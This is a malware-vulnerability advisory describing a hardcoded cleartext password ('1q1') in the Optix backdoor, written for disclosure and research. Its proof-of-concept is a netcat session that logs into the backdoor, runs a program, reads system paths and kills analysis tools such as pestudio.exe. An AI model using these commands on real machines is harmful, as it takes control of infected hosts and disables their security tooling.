Backdoor.Win32.Optix.02.b MVID-2024-0690 Hardcoded Credential

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024Original source: https://malvuln.com/advisory/706ddc06ebbdde43e4e97de4d5af3b19.txtContact: [email protected]: x.com/malvuln  Threat: Backdoor.Win32.Optix.02.bVulnerability: Weak Hardcoded CredentialsDescription: Optix listens on TCP port 5151 and is packed with ASPack (2.11d). Unpacking is trivial set breakpoints on POPAD, RET, run and dump using OllyDumpEx. The unpacked PE file reveals a very weak three character cleartext password "1q1" stored as "svrpwd=1q1" at offset: 0000da4c of the unpacked malware. Commands sent to the backdoor use a semicolon ";" as a marker E.g. password;1q1;Family: OptixType: PE32MD5: 706ddc06ebbdde43e4e97de4d5af3b19SHA256: 2d38b18bdedfa7f27aac3f52a6d717f3cef7cf809e06f4a34ac0a93c90a82b1cVuln ID: MVID-2024-0690Disclosure: 09/03/2024Exploit/PoC:nc64.exe x.x.x.x 5151password;1q1;password;1;Optix Lite v0.2 Server Ready...ExecFile;"c:\Windows\System32\calc.exe"Response;File Ran SuccessfullyGetPath;TheServerPath;c:\windows\sec32.exeGetSysDir;TheSysDir;;C:\WINDOWS\system32\GetWinDir;TheWinDir;;C:\WINDOWS\KillProcPls;pestudio.exe;Response;Program killed successfully!KillProcPls;die.exe;Response;Program killed successfully!GetProcsPls;HeresDaProcs;[System Process];System;smss.exe;csrss.exe;wininit.exe;csrss.exe;winlogon.exe;services.exe;lsass.exe;fontdrvhost.exe;fontdrvhost.exe;svchost.exe;svchost.exe;dwm.exe;...Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).